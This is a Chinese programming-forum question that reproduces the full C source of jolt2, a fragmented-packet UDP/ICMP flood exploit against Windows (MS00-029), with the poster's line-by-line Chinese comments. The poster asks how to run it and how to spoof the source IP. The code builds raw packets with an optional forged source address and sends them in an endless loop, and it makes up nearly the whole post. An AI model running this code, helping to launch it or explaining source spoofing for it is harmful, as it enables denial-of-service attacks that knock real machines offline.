关于UDP flood 攻击程序的问题

下面是非常经典的jolt2 UDP FLOOD 代码,照着书给加了注释,在LINUX下可以运行,但是不知道该输入什么执行命令,求教。另外这个程序貌似不能伪造攻击者IP?求问 OvO ...

/* Jolt2.c - Tested against Win98, WinNT4/sp5,6, Win2K.

An interesting side note is that minor changes to this packet cause
NT4/Win2k (maybe others, not tested) memory use to jump
substantially (+70 meg non-paged-pool on a machine with 196 mb
phys). There seems to be a hard upper limit, but on machines with smaller
amounts of memory or smaller swapfiles, ramping up the non-paged-pool this
much might lead to a BSOD.

.phonix.

*/

/*

  • File: jolt2.c
  • Author: Phonix phonix@moocow.org
  • Date: 23-May-00 *
  • Description: This is the proof-of-concept code for the
  • Windows denial-of-serice attack described by
  • the Razor team (NTBugtraq, 19-May-00)
  • (MS00-029). This code causes cpu utilization
  • to go to 100%. *
  • Tested against: Win98; NT4/SP5,6; Win2K *
  • Written for: My Linux box. YMMV. Deal with it. *
  • Thanks: This is standard code. Ripped from lots of places.
  • Insert your name here if you think you wrote some of
  • it. It's a trivial exploit, so I won't take credit
  • for anything except putting this file together. */ #include #include #include #include #include #include #include #include #include #include #include

//定义数据包结构
struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;
} pkt;

//获取各种数据包长度
int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;

//程序的正确用法提示
void usage(char *pname)
{
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
exit(0);
}

//主机名到IP地址的转换
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;

res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}

//出错退出处理
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}

//组装碎片数据包并发送
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
int bs, psize;
unsigned long x;
struct sockaddr_in to;
//填写地址信息
to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;

if (port)
psize = iplen + udplen + 1;
else
psize = iplen + icmplen + 1; //包长为29,因为只有一个字节的载荷数据
memset(&pkt, 0, psize); //给存放数据包内容的缓冲区清零
//填写数据包
pkt.ip.version = 4; //版本号
pkt.ip.ihl = 5; //包头长度为5个32bit,即20字节
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455); //IP包的ID为1109=0x455,可以作为IDS检验的一个特征,只是这个值很容易改变
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);//如果指定了端口,则协议时ICMP,否则是UDP
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);//偏移8190,即0x1FFE

if (port) //如果有端口参数,则构造UDP数据包
{
pkt.proto.udp.source = htons(port|1235); //指定源端口为目的端口与1235的或运算结果
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a'; //UDP数据包中的载荷数据只有一个字节,即a,体现低数据率
} else { //若没有指定端口,则构造ICMP数据包
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0; //校验和为0
}
//循环发送,死循环
while (1) {

bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr)); //在循环中不停地发送伪造数据包
}
return bs;
}

//主程序
int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
int i, bs=1, port=0;
char hostname[32];

if (argc < 2) //如果提供的参数数目不足,提示使用方法
usage (argv[0]);

gethostname (hostname, 32); //获取本机地址
src_addr = host_to_ip(hostname); //将本机地址赋给原地址变量src_addr
//解析参数
while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{
switch (i)
{
case 's': //原地址,由于使用方法中原地址不是必需的,因此这里检测是否提供了原地址,若提供了,则赋给src_addr
src_addr = host_to_ip(optarg);
if (!src_addr)
quit("Bad source address given."); //提示原地址错误,退出
break;

  case 'p':      //端口号
    port = atoi(optarg);
    if ((port <=0) || (port > 65535))
      quit ("Invalid port number given."); //提示端口错误,退出
    break;

  case 'h': //如果参数是h(help),则提示用法
  default:
    usage (argv[0]);
}

}
//主机IP地址转换,提取目标地址
dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");
//创建socket
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
//设置socket
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0) //指定IP包头的信息由程序员自己填写
quit("IP_HDRINCL");
//实施碎片攻击
do_frags (spf_sck, src_addr, dst_addr, port);//发送分片数据包
}

1个回答

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
立即提问
相关内容推荐